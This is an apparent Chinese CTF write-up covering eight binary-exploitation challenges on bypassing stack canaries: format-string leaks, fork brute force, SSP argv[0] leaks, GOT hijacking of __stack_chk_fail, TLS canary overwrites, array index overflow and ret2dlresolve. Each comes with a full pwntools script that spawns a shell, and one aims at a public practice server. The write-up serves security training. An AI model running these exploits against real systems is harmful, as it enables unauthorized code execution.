题目1:bin 方法介绍:leak canary 利用格式化字符串漏洞,泄露出canary的值,然后填到canary相应的位置从而绕过保护实现栈溢出。
开始分析: 常规操作,先checksec下,再ida静态分析
很明显有格式化字符串漏洞和栈溢出漏洞,但是开了栈溢出保护,程序有2个输入,第一次输入可以先泄露cananry,第二次直接覆盖canary就可以栈溢出了,简单明了,gdb动态调试,可以看到canary在格式化字符串的偏移为7,
在第二个次输入中,我们需要输入到canary进行覆盖工作,这是可以看ida: 可以知道0x70-0xC = 0x64=100,那么就是说要覆盖100个字符才到canary的位置,这样就可以栈溢出了,跳转到这里即可: EXP的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./bin' ) if local: p = process('./bin' ) libc = elf.libc else : p = remote('' ,) libc = ELF('./' ) payload = '%7$x' p.sendline(payload) canary = int(p.recv(),16 ) print canary getflag = 0x0804863B payload = 'a' *100 + p32(canary) + 'a' *12 + p32(getflag) p.send(payload) p.interactive()
题目2:bin1 方法介绍:爆破canary 利用fork进程特征,canary的不变性,通过循环爆破canary的每一位
开始分析: 有栈溢出漏洞,但是开启了栈溢出保护,又因为是线程,联想到爆破法,这题的canary地址和上题一样,先覆盖100位,再填,我们知道程序的canary的最后一位是0,所以可以一个一个地跑。 因为canary有4位,最后一位是\x00,所以还要循环3次,每一次从256(ASCII码范围)中取,有合适的+1,没有继续循环,直到跑出来,这是32位的情况,64位的话爆破7位。 最后栈溢出绕过直接执行那个函数。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./bin1' ) if local: p = process('./bin1' ) libc = elf.libc else : p = remote('' ,) libc = ELF('./' ) p.recvuntil('welcome\n' ) canary = '\x00' for i in range(3 ): for i in range(256 ): p.send('a' *100 + canary + chr(i)) a = p.recvuntil("welcome\n" ) if "recv" in a: canary += chr(i) break getflag = 0x0804863B payload = 'a' *100 + canary + 'a' *12 + p32(getflag) p.sendline(payload) p.interactive()
题目3:bin2(原题是OJ的smashes) 方法介绍: ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。
开始分析: 这里介绍故意触发_stack_chk_fail: ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值,举个例子: 但是我们不知道flag的位置在哪里,有个小技巧就是字符直接填充flag的位置,只要足够大,就一定能行,但是看看ida: 发现被修改了值,所以是直接打印不出来的,这可怎么办才好,这里借助大佬的博客,说ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。这个flag应该会被映射到多个地方,也就是有副本,只要找出副本地址即可,接下来去gdb里面找:找个地址下断点,寻找CTF字符串,看到0x400d20。 这下直接写进去覆盖就好啦: payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./bin2' ) if local: p = process('./bin2' ) libc = elf.libc else : p = remote('' ,) libc = ELF('./' ) flag = 0x400d20 payload = "" payload += p64(flag)*1000 p.recvuntil("Hello!\nWhat's your name?" ) p.sendline(payload) p.recv() p.sendline(payload) p.interactive()
验收:
如果说老老实实做也是可以的,先看看那个argv[0]在栈中的位置:
然后看看我们的输入esp到它的距离:
计算下地址差值:0x218的偏移,所以直接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./bin2' ) if local: p = process('./bin2' ) libc = elf.libc else : p = remote('' ,) libc = ELF('./' ) flag = 0x400d20 payload = "" payload += 0x218 *'a' + p64(flag) p.recvuntil("Hello!\nWhat's your name?" ) p.sendline(payload) p.recv() p.sendline(payload) p.interactive()
验收:
题目4:bin3(原题是hgame的week2的Steins) 方法介绍: 劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写 stack_chk_fail的got表指针内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数。
开始分析: 栈溢出保护,堆栈不可执行,格式化字符串漏洞,这里一开始真的没有什么思路,后来师傅给了提示: 劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写 stack_chk_fail的got表内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数。 那么问题来了,怎么覆盖好呢?我的猜想是,想到覆盖低地址0x400xxx,我们往 stack_chk_fail的got表指针里写入xxx,由于_stack_chk_fail地址后有5个截断符,所以要顺利覆盖的话,%8$hn后面要有5个字符进行填充,调用时就会调用0x400xxx处的函数,后门函数地址0x40084E(ida可以看见),而0x84E = 2126,所以写入2126个双字节~,劫持后再栈溢出即可。 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) local = 1 if local: p = process('./babyfmtt' ) elf = ELF('./babyfmtt' ) else : p = remote('' ,) elf = ELF('./' ) def z (a='' ) : gdb.attach(p,a) if a == '' : raw_input() libc = elf.libc stack_fail = 0x601020 payload = '' payload += "%2126c%8$hnbbbbb" + p64(stack_fail) + 'a' *200 p.sendline(payload) p.interactive()
成功: 为了验证猜想的正确性,改下后门函数为0x40085F(会打印那个it ‘s easy to pwn),即0x85F = 2143。 猜想验证成功,正确!
题目5:bin4 babypie
开始分析:
栈溢出保护,堆栈不可执行,堆栈不可写,只有got可以改,看逻辑,先输入名字到buf,刚好0x30的大小,这里马上想到泄露canary,因为后面有个printf函数,第二次输入有栈溢出漏洞(前提是绕过了栈溢出保护了),看看有没有可以getshell的函数:
随机化地址0xA3E可以直接getshell,很好,就跳转到这里吧。
大体思路: 1、因为canary的低位是\x00截断符,先用\x01去覆盖这个低位,然后打印出来后面的7位,最后加上\x00即可
2、通过填充canary实现栈溢出,跳到那个0xA3E函数处,由于随机化的地址,所以第四位不知道怎么搞,这里直接爆破第四位即可
EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./babypie' ) def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) while True : if local: p = process('./babypie' ) libc = elf.libc else : p = remote('' ,) libc = ELF('./' ) system_addr = '\x3E\x0A' payload = '' payload += 'a' *0x28 +'\x01' p.send(payload) p.recvuntil('\x01' ) canary = '\x00' + p.recv()[:7 ] print hex(u64(canary)) payload = '' payload += 'a' *0x28 + canary + 'aaaaaaaa' + system_addr p.send(payload) try : p.recv(timeout = 1 ) except EOFError: p.close() continue p.interactive()
爆破是常规操作,不爆破也是行的,如图:
因为在read后其实前面的字节是一样的,所以只需要覆盖最后一个字节为\x3E即可:
最后检验下:
总结:这里就是利用了read函数后面有printf或者puts函数可以打印,通过覆盖低位\x0a,达到泄露低地址的目的,学习到了新技能。
题目6:bin5 babystack
开始分析:
分析逻辑可知,是创建了进程,关键逻辑在start_routine函数那里,这里知道是s的大小是0x1010,而我们的输入可以达到0x10000,很明显想到栈溢出,但是有canary保护,而且是线程,所以我们这里学习一种新招式,TSL(线程局部存储)攻击,基本思路就是我们得覆盖很多个a到高地址,直到把TLS给覆盖从而修改了canary的值为a,绕过了canary后就可以栈溢出操作了。
TLS中存储的canary在fs:0x28处,我们能覆盖到这里就好啦~当然我们不知道具体在哪里,所以只能爆破下:
这是爆破canary位置的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 while True : p = process('./bs' ) p.recvuntil("How many bytes do you want to send?" ) p.sendline(str(offset)) payload = '' payload += 'a' *0x1010 payload += p64(0xdeadbeef ) payload += p64(main_addr) payload += 'a' *(offset-len(payload)) p.send(payload) temp = p.recvall() if "Welcome" in temp: p.close() break else : offset += 1 p.close()
它会卡在offset为6128那里:
说明我们成功覆盖了canary,偏移量为6128。接下来就好办啦利用栈迁移的操作+one_gadget直接getshell
大体思路: 1、通过padding爆破填充a修改TLS中的canary为aaaaaaaa,从而绕过栈溢出保护(这里必须是线程的题目,而且输入足够大才行!)
2、泄露出puts的got地址得到真实的基地址,用于getshell
3、利用栈迁移(需要有read函数和leave;ret的ROP可以用),在bss段中开辟一个空间来写one_gadget来payload~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) p = process('./bs' ) elf = ELF('./bs' ) libc = elf.libc main_addr = 0x4009E7 offset = 6128 bss_start = elf.bss() fakebuf = bss_start + 0x300 pop_rdi_ret = 0x400c03 pop_rsi_r15_ret = 0x400c01 leave_ret = 0x400955 puts_got = elf.got["puts" ] puts_plt = elf.symbols["puts" ] puts_libc = libc.symbols["puts" ] read_plt = elf.symbols["read" ] p.recvuntil("How many bytes do you want to send?" ) p.sendline(str(offset)) payload = '' payload += 'a' *0x1010 payload += p64(fakebuf) payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(pop_rdi_ret) payload += p64(0 ) payload += p64(pop_rsi_r15_ret) payload += p64(fakebuf) payload += p64(0x0 ) payload += p64(read_plt) payload += p64(leave_ret) payload += 'a' *(offset - len(payload)) p.send(payload) p.recvuntil("It's time to say goodbye.\n" ) puts_addr = u64(p.recv()[:6 ].ljust(8 ,'\x00' )) print hex(puts_addr)getshell_libc = 0xf02a4 base_addr = puts_addr - puts_libc one_gadget = base_addr + getshell_libc payload = '' payload += p64(0xdeadbeef ) payload += p64(one_gadget) p.send(payload) p.interactive()
这是我们的payload在栈中的分布图,可以知道puts的真实地址是6位的,所以才要补齐两个\0,最后验证下:
其实这里不用栈迁移也一样做的(栈迁移是大佬写的,下面是自己复现时做出来的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) p = process('./bs' ) elf = ELF('./bs' ) libc = elf.libc main_addr = 0x4009E7 fgets_addr = 0x400957 offset = 6128 bss_start = elf.bss() fakebuf = bss_start + 0x300 pop_rdi_ret = 0x400c03 pop_rsi_r15_ret = 0x400c01 leave_ret = 0x400955 puts_got = elf.got["puts" ] puts_plt = elf.symbols["puts" ] puts_libc = libc.symbols["puts" ] read_plt = elf.symbols["read" ] p.recvuntil("How many bytes do you want to send?" ) p.sendline(str(offset)) payload = '' payload += 'a' *0x1010 payload += p64(0xdeadbeef ) payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(fgets_addr) payload += 'a' *(offset - len(payload)) p.send(payload) p.recvuntil("It's time to say goodbye.\n" ) puts_addr = u64(p.recv()[:6 ].ljust(8 ,'\x00' )) print hex(puts_addr)getshell_libc = 0xf02a4 base_addr = puts_addr - puts_libc one_gadget = base_addr + getshell_libc payload = '' payload += 'a' *0x1010 payload += p64(0xdeadbeef ) payload += p64(one_gadget) p.sendline(payload) p.interactive()
检验下:
总结: 针对于这种多线程的题目,修改TLS的canary,绕过canary,又增长了新姿势,这里提一下栈迁移,在有read函数的情况下,可以利用栈迁移的思想,到bss段是常有的事,一般是bss+0x300的位置开始写。如果read后面有puts函数或者printf函数,就可以泄露出ebp的值,从而确定栈顶指针,从而写到栈中,然后ebp写esp的地址,leave就会跳到esp去执行我们写入的东西。
题目7 bin6 一波检查和分析
开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:
C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的 数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行 的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代 码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以 为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越 界了,那么它会自动接着那块内存往后写。
漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~
再回来这题的栈,
这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./homework' ) if local: p = process('./homework' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7701 ) libc = ELF('./libc.so.6' ) def z (a='' ) : gdb.attach(p,a) if a == '' : raw_input() p.recvuntil("What's your name? " ) p.sendline("Your father" ) p.recvuntil("4 > dump all numbers" ) p.recvuntil(" > " ) p.sendline("1" ) p.recvuntil("Index to edit: " ) p.sendline("14" ) p.recvuntil("How many? " ) system_addr = 0x080485FB p.sendline(str(system_addr)) p.sendline('0' ) p.interactive()
题目8 这题是新春战疫情的一道题,涉及到tls的知识。
这里逻辑不复杂,一个栈溢出操作,但是呢,开了栈溢出保护,这里需要考察的就是一个知识点,canary不只存在stack中或者多线程时,在stack很远的位置处,canary还存在于0x7f开头的mmap地址处,所以我们需要做的就是先在栈溢出时部署好rop链子,然后在堆申请时,申请足够大,申请出canary并覆盖掉,这样就完事了~
这里直接使用dl_runtime_resolve的方法去做即可。
这里讲解下知识点: 对于这个canary的绕过,需要用到TLS,不过需要用到malloc(size),size需要很大,用mmap申请出堆。
canary 这个值是怎么来的呢,在linux 下,有一种线程局部存储(Thread Local Storage)机制,简称为TLS。它主要存储着一个线程的一些局部变量,它的结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t ;
而gs寄存器就指向这个结构体,结构体里的stack_guard值就是canary 的值,所以只要能篡改结构体里stack_guard的值就可以绕过canary了。
这里记住查看canary位置的方法为:search -t dword (canary值) ,这个就是gs所在的位置
paylaod如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) p = process('./BFnote' ) elf = ELF('./BFnote' ) sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) bss_stage1 = elf.bss() + 0x300 bss_stage2 = 80 + bss_stage1 ppp = 0x080489d9 pop_ebp = 0x080489db leave_ret = 0x08048578 pay = 'a' *0x3a + p32(0x804A064 ) sda("description :" ,pay) buf = p32(elf.plt['read' ]) + p32(ppp) buf += p32(0 ) + p32(bss_stage1) + p32(100 ) buf += p32(pop_ebp) + p32(bss_stage1) buf += p32(leave_ret) sla("postscript :" ,buf) sla("size :" ,str(0x20000 )) sla("size :" ,str(0x216fc )) sla("re-enter :\n" ,str(4 )) sda("title :" ,'a' *4 ) sda("note :" ,'a' *4 ) pause() cmd = '/bin/sh' plt_0 = 0x8048450 rel_plt = 0x80483d0 index_offset = (bss_stage1+28 ) - rel_plt read_got = elf.got['read' ] dynsym = 0x80481d8 dynstr = 0x80482c8 fake_sym_addr = bss_stage1+36 align = 0x10 -((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym<<8 ) | 0x7 fack_reloc = p32(read_got) + p32(r_info) st_name = (fake_sym_addr + 0x10 ) - dynstr st_name = (fake_sym_addr + 0x10 ) - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload = 'aaaa' payload += p32(plt_0) payload += p32(index_offset) payload += 'aaaa' payload += p32(bss_stage2) payload += 'aaaaaaaa' payload += fack_reloc payload += 'b' *align payload += fake_sym payload += "system\x00" payload += 'a' *(80 -len(payload)) payload += cmd + '\x00' payload += 'a' *(100 -len(payload)) sl(payload) p.interactive()